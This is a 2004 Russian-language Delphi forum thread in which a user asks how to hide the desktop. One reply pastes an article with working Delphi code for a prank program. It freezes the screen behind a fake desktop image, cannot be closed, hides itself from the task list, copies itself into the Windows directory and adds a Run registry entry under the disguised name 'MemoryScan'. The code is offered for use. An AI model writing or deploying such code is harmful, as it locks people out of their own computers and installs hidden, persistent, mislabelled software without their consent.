Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Скрыть Explorer. 
:(
    Опции темы
Programer_Diman
Дата 15.10.2004, 10:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 2
Регистрация: 14.10.2004

Репутация: нет
Всего: нет



как убрать рабочич стол. Мешает. sample.gif
PM MAIL   Вверх
VIY
Дата 15.10.2004, 14:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 19
Регистрация: 13.10.2004

Репутация: нет
Всего: нет



Тоесть?(Поподробнее, а то вариантов интерпритации этой фразы можно подобрать N-дцать)
PM MAIL   Вверх
~FoX~
Дата 15.10.2004, 15:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


НЕ рыжий!!!
****


Профиль
Группа: Участник Клуба
Сообщений: 2819
Регистрация: 8.10.2003
Где: Зеленоград

Репутация: 0
Всего: 68



Programer_Diman
Если ты его хочешь спрятать за свое приложение, то делай размер формы в размер экрана и отключи сазибл



--------------------
user posted image
…множественность никогда не следует полагать без необходимости…
PM MAIL WWW ICQ Jabber   Вверх
VIY
Дата 15.10.2004, 15:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 19
Регистрация: 13.10.2004

Репутация: нет
Всего: нет



Статья с сайта delphiworld.narod.ru

Безжизненный рабочий стол

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:



procedure TForm1.FormCreate(Sender: TObject);
var
ScreenDC: HDC;
canvas:Tcanvas;
begin
ScreenDC:=GetDC(0);
Canvas:=TCanvas.Create();
canvas.Handle:=ScreenDC;
Width:=Screen.Width;
Height:=Screen.Height;
Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
canvas,Rect(0,0,Screen.Width,Screen.Height));
Releasedc(0,ScreenDC);
Canvas.Free;
end;




Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))

Событие по созданию окна в конечном итоге должно выглядеть так:



procedure TForm1.FormCreate(Sender: TObject);
var
ScreenDC: HDC;
canvas: Tcanvas;
h: TRegistry;
begin
ScreenDC:=GetDC(0);
Canvas:=TCanvas.Create();
canvas.Handle:=ScreenDC;
Width:=Screen.Width;
Height:=Screen.Height;
Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
canvas,Rect(0,0,Screen.Width,Screen.Height));
Releasedc(0,ScreenDC);
Canvas.Free;

if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1);

WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);

if FileExists(WinDir+'\OurProgram.com')=false then
CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);

h:=TRegistry.Create;
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
h.CloseKey;
h.Free;
end;




На событие OnCloseQuery() формы напишем:



CanClose:=false;




На событие OnActivate():



ShowWindow(Application.Handle,sw_Hide);




В области public объявим несколько переменных:



public
{ Public declarations }
Windir: string;
WindirP: PChar;
Res: Cardinal;




А в uses подключим модуль Registry:



uses
Registry;



PM MAIL   Вверх
Alex
Дата 15.10.2004, 19:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 4147
Регистрация: 25.3.2002
Где: Москва

Репутация: 6
Всего: 162



VIY Пользуйся тегом Code rtfm.gif


--------------------
Написать можно все - главное четко представлять, что ты хочешь получить в конце. 
PM Skype   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0444 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.